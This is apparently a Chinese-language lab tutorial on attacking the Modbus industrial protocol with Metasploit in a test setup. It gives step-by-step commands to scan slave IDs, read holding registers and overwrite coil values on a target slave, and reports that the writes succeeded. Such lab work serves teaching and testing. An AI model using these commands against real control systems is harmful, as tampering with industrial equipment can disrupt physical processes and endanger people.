文章目录
- 实验内容
- 环境介绍
- 实验开始
- 开启Modbus从站主机和从站服务
- 利用Metasploit工具扫描Modbus从站中的ID
- 访问从站2的寄存器数据
- 修改从站4线圈值
- 可选择的action
实验内容
利用Metasploit工具针对Modbus协议进行攻击,读取Modbus从站寄存器数值以及修改Modbus从站寄存器数值。
环境介绍
kali:192.168.157.134
安装Modbus从站的Windows靶机:192.168.30.32
实验开始
开启Modbus从站主机和从站服务
手动添加两个从站(ID为2,4
)并对其添加保持寄存器和线圈,添加结果如下图
从站ID为2:
下面添加保持寄存器的数值,随意填写即可:我这里填写的是11、12、13、14、15
从站ID为4
添加10个线圈,并赋值
1010100001
启动服务即可RUN
利用Metasploit工具扫描Modbus从站中的ID
启动msf,查询一下Modbus相关利用脚本
use 3 或者 use auxiliary/scanner/scada/modbus_findunitid
配置相关参数开始扫描
扫描到Modbus Slave ID 2
和4
访问从站2的寄存器数据
切换脚本:
use 2 或者 use auxiliary/scanner/scada/modbusclient
从Slave2 中读取读取5个寄存器的数值
set data_address 0 #设置读取或修改点位的起始位,实际是从1位开始的
set number 5 #设置读取或修改寄存器的长度
set unit_number 2 #设置从站的id,这里为2
set rhosts 192.168.30.32 #设置目标主机IP
run #开始攻击
已经成功读取到从站2的寄存器数值,和之前我写入的数值一致.
修改从站4线圈值
从站4我只添加了线圈的值,并未添加寄存器,下面就进行修改从站4的线圈值:
set action WRITE_COILS #切换功能为写入线圈
set number 10
set unit_number 4
set data_address 0
set data_coils 0101000010 #修改线圈的数值为0101000010
run
此时查看Modbus-server,可发现数值修改成功
可选择的action
下面这些都是可选择的,包括读取修改-保持寄存器/线圈
等